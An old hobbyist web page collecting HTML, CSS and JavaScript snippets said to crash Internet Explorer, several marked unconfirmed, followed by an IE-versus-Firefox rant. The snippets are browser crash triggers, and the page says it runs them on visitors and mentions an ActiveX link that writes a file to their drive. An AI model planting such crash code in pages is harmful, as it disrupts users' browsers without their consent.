Crash IE 1.1.0 Service Pack 1 - 11 Ways to Crash Internet Explorer

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Crash IE

Are you using IE? Your IE is going crash if you turn JavaScript on! This site contains a compilation of HTML, CSS and JavaScripts that crashes IE. I finally found a IE 7 bug, so I can crash IE 7! IE sucks, it gave developers many hassles, stop using it, and get a new browser such as Firefox.
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What Crashed IE?

<STYLE>@;/*

This IE bug is caused by just about 11 characters. When that code is parsed, a memory bug is triggered so IE will crash. (as seen in the 1st page) The code is simple:

<STYLE>@;/*

<span />

This may be an IE 7 bug. It did not crash on my IE 7. However, someone said it crashed. (as seen in the 2nd page):

It also crashes IE 7, but it's not confirmed yet.

<input type crash >

IE handle inputs in a different way? (as seen in the 3rd page):

It also crashes IE 7, but it's not confirmed yet.

onLoad="window()"

window is not a function, on a standard browser, it should cause an error. On IE, it just crash for no reason. (as seen in the 4th page)

<style>*{position:relative}</style><table><input>

Just a little CSS caused a crash! It's classified as a DoS virus, but it's not harmful at all. (I took it down)

for (x in document.write)

A loop in the all properties of document.write crashed IE.(as seen in the 6th page)

for (x in document.write)
{
document.write(x);
}

or type the following text to your address bar:

onclick=crash onclick=crash

Redeclearation of onclick will cause a crash. (as seen in the 7th page)

A CSS navigation menu

IE crashed when hovering in the menu for no reason. The code is long(as seen in the 8th page):

<html>
<head>
<style>body { width:755px; }
ul#nav { position:absolute; }
ul#nav li { display:inline; }
ul#nav li a { float:left;display:block;margin:0 1px 0 0;width:150px; }
ul#nav li a:hover { background:#ddd; }
</style>
</head>
<body>
<ul id="nav">
    <li><a href="#">Option</a></li>
    <li><a href="#">Option</a></li>
    <li><a href="#">Option</a></li>
    <li><a href="#">Option</a></li>
    <li><a href="#">Option</a></li>
</ul>
</body>
</html>

A JavaScript function

Someone on the Internet wrote a getX function in JavaScript, and it also crashed IE. It's unconfirmed for me. (as seen in the 9th page)

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

Combination of HTML, CSS and JavaScript

(unconfirmed)A bunch of code that crashes IE. Maybe it's the position bug, or maybe the modeNode bug. (as seen in the 10th page)

button[value="x"]

This bug crashed IE 7! The button[value="x"] triggered an IE 7 bug.(as seen in the 11st page)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<title>IE 7 crash</title>
<style type="text/css">button[value="x"] {background: red;}</style>
<p><button>foo</button></p>

Sources

Thanks for these sites for a list of bugs that crashes IE:

Why IE sucks?

IE vs. Firefox

IE	Firefox
IE takes forever to install, plus you cannot uninstall.	Firefox only take a few minutes to install, plus no restart.
IE is hard or even impossible to update.	Firefox updates automatically, plus it's fast.
IE has extensions, but nobody cares and use it.	Extensions are import for Firefox, every need them.
IE does not support SVG.	Firefox supports SVG.
IE has excessive security bugs.	Firefox has a few security bugs.
IE is slow and unstable.	Firefox is hard to crash, when it crashes, it can restore your session.
IE is non-standard, it can't even render Acid2 correct.	Firefox is the most standard-compliant browser.

Here's video that makes IE look bad: http://www.youtube.com/watch?v=dNPjnlJyLI0

More Reasons

IE is not developer-friendly. I had a hard time with IE.
IE gave developers a lots of hassle. Many developers are concerned about if their site can render correctly on IE.
IE has ActiveX control which can read/write your hard drive. (click here to create a text file on your drive C or your desktop, does not work for some versions)
IE is highest in the statistics because every computers are pre-installed with IE, including school and library computers. If IE is not pre-installed, no one will use it.

Rants about IE

IE is pre-installed, on school computers, library computers, and enterprises.
IE is not CSS 2.1 compliant. My sites cannot render collectly on IE.
Because of IE, I'm not using many great standards such as data: URI
When a popup by a Flash content was blocked, I need to turn off popup blockers, and it restarts the Flash content.
IE crashed just by the small things

Get a new Browser

There are many other browser that are better than IE. Get one of them and stop using IE(IE is hard to be uninstalled)

Firefox

Firefox is the best browser, I recommend you to get it.
http://www.getfirefox.com

Opera

Opera has a fancy user interface and high standard compliance.
http://www.opera.com

Safari

Safari is the default browser on Mac OS X. However, Windows versions were released.
http://www.apple.com/safari

Google Chrome

Google Chrome is a new browser, it's still in beta, but it's very innovative.
http://www.google.com/chrome

FAQ

My IE didn't crash!

It does not work for the beta version of IEs. I'm still finding bugs on IE 7 and IE 8, probably Java/Flash/ActiveX bugs.

11 ways? There are 12 pages!

The 12nd page is the compilation of almost all 11 ways to crash IE.

How did you made the Windows Vista Aero style design?

The background and the main content has fixed background position. I wrote a tutorial about it: http://thepokemon.freehostia.com/forums/showthread.php?tid=82&pid=379

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IE sucks